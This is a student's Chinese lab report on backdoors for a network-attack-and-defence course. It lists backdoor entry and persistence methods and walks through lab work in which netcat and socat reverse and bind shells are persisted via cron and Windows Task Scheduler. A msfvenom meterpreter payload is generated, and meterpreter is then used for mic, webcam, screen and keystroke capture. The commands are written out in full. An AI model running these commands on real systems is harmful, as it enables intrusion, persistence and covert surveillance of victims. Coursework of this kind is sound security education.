20145317彭垚《网络对抗》Exp2 后门原理与实践
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中;
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的;
- 对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动;
- Linux下可以通过cron来启动。
- Meterpreter有哪些给你映像深刻的功能?
- 直接通过指令获取主机的摄像头有点6,有点像电影里的黑客;
- 获取击键记录也能得到很多信息,比如登录什么网站的密码,或者说和某人的重要聊天记录之类的,都非常容易被人窃取到进行分析;
- 导出密码文件功能简直是有点无解,这样一来你的电脑相当于是透明的;。
- 如何发现自己有系统有没有被安装后门?
- 没有经过免杀处理的后门程序可能很容易就被杀毒工具扫出来,不过一般现在这样的后门也很少了;
常用后门工具实践
Windows获得Linux Shell
在Windows下,先使用
ipconfig
指令查看本机IP:使用
ncat.exe
程序监听本机的5317
端口:在Kali环境下,使用
nc
指令的-e
选项反向连接Windows主机的5317
端口:Windows下成功获得了一个Kali的shell,运行
ls
指令如下:
Linux获得Windows Shell
过程与之前的类似,在Kali环境下用
ifconfig
查看IP:使用
nc
指令监听5317
端口:在Windows下,使用
ncat.exe
程序的-e
选项项反向连接Kali主机的5317
端口:Kali下可以看到Windows的命令提示,可以输入Windows命令:
使用nc传输数据
Windows下监听
5317
端口:Kali下连接到Windows的
5317
端口:建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
实验内容
使用netcat获取主机操作Shell,cron启动
先在Windows系统下,监听
5317
端口:在Kali环境下,使用
man crontab
指令查看crontab
命令的帮助文档,从文档中我们可以知道crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。用
crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:在最后一行添加18
* * * * /bin/netcat 192.168.1.110 5317 -e /bin/sh
,意思是在每个小时的第18分钟反向连接Windows主机的5317
端口:当时间到了,此时已经获得了Kali的shell,可以输入指令:
使用socat获取主机操作Shell, 任务计划启动
基础知识
-
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。 -
socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5215,同时把cmd.exe
的stderr重定向到stdout上:创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:此时,在Kali环境下输入指令
socat - tcp:192.168.1.110:5317
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的5215
端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=5317 -f exe > 20145317_backdoor.exe
生成后门程序:通过
nc
指令将生成的后门程序传送到Windows主机上:在Kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:设置完成后,执行监听:
打开Windows上的后门程序:
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用
record_mic
指令可以截获一段音频:使用
webcam_snap
指令可以使用摄像头进行拍照:使用
webcam stream
指令可以使用摄像头进行录像:使用
screenshot
指令可以进行截屏:使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
实验总结与体会
感觉这次实践比上次还有趣,尤其是后门被激活后,meterpreter的功能一经展示出来,简直被震惊。如果未开启防火墙,或防火墙不够高级,所谓监听、隐秘偷拍竟然是这么轻而易举的事情。